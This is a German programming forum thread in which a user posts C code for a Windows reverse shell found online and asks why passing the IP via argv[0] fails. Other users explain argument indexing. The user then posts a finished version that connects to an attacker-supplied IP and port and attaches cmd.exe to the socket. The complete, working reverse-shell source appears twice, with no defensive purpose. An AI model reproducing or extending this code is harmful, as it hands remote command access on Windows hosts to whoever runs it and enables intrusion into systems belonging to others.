argv[] - Problem bei der Argumentübergabe



  • Hi,
    ich hoffe ihr könnt mir helfen.
    Hab folgenden code bei einer Onlinerecherche gefunden ( er baut eine reverse shell auf)

    //compile : gcc revshell.c -lwsock32 -lws2_32

    #include <winsock2.h>
    #include <stdio.h>
    #pragma comment(lib,"ws2_32")
    main(int argc, char *argv[])
    {
            WSADATA wsaData;
            SOCKET hSocket;
            STARTUPINFO si;
            PROCESS_INFORMATION pi;
            struct sockaddr_in adik_sin;
            memset(&adik_sin,0,sizeof(adik_sin));
            memset(&si,0,sizeof(si));
            WSAStartup(MAKEWORD(2,0),&wsaData);
            hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
            adik_sin.sin_family = AF_INET;
            adik_sin.sin_port = htons(55);
            adik_sin.sin_addr.s_addr = inet_addr("127.0.0.1");  //Zeile geändert um IP variabel zu halten
            connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin));
            si.cb = sizeof(si);
            si.dwFlags = STARTF_USESTDHANDLES;
            si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket;
            CreateProcess(NULL,"cmd",NULL,NULL,1,NULL,NULL,NULL,&si,&pi);
            ExitProcess(0);
    
    }
    

    so funktioniet er auch gut nur sind eben IP und Port fix.
    Zunächst versuche ich die IP variabel zu machen. Dazu hab ich folgende Zeile geändert:

    adik_sin.sin_addr.s_addr = inet_addr(argv[0]);
    

    das funktioniert aber nicht und bringt nichtmal Fehler.

    MFG c°h°



  • Wie wäre es, mal

    printf("%s\n", argv[0]); zu machen. Dann würdest du sehen, dass argv[0] dein Programmname ist 😉



  • hab ich schon versucht ist ganz seltsam wenn ich printf("test"); irgendwo einfüge an erster stelle / mittendrin egal wo. Es wird kein output erzeugt bekomme also keine ausgabe in der console 😞



  • \n



  • thx das geht 🙂 jetzt und es stimmt in argv[0] steht nicht die übergebene ip sondern der name der executable:

    C:\blow>a 127.0.0.1
    test: a
    

    habe diese Zeile eingefügt:

    printf("test: %s\n", argv[0]);
    

    hm aber wenn die Übergabe nicht in argv[0] steht wo steht sie dann ?



  • c°h° schrieb:

    hm aber wenn die Übergabe nicht in argv[0] steht wo steht sie dann ?

    dann probier mal das

    for ( i = 0; i < argc; ++i )
      printf("%d:'%s'", i, argv[i]);
    

    Kurt



  • Habs danke an euch alle 🙂

    #include <winsock2.h>
    #include <stdio.h>
    #pragma comment(lib,"ws2_32")
    
    main(int argc, char *argv[])
    {
            int PortX= atoi(argv[2]);
            WSADATA wsaData;
            SOCKET hSocket;
            STARTUPINFO si;
            PROCESS_INFORMATION pi;
            struct sockaddr_in adik_sin;
            memset(&adik_sin,0,sizeof(adik_sin));
            memset(&si,0,sizeof(si));
            WSAStartup(MAKEWORD(2,0),&wsaData);
            hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
            adik_sin.sin_family = AF_INET;
            adik_sin.sin_port = htons(PortX);
            adik_sin.sin_addr.s_addr = inet_addr(argv[1]);
            connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin));
            si.cb = sizeof(si);
            si.dwFlags = STARTF_USESTDHANDLES;
            si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket;
            CreateProcess(NULL,"cmd",NULL,NULL,1,NULL,NULL,NULL,&si,&pi);
            ExitProcess(0);
    
    }
    

    MFG c°h°



  • Nur ein kleiner Tip: Du solltest eine Überprüfung einbauen, ob der Nutzer überhaupt etwas angegeben hat:

    if(argc<2)
    {
      printf("Bitte IP-Adresse angeben.\n");
      exit(1);
    }
    


  • klar das hab ich direkt eingebaut als es funktionierte 🙂


Anmelden zum Antworten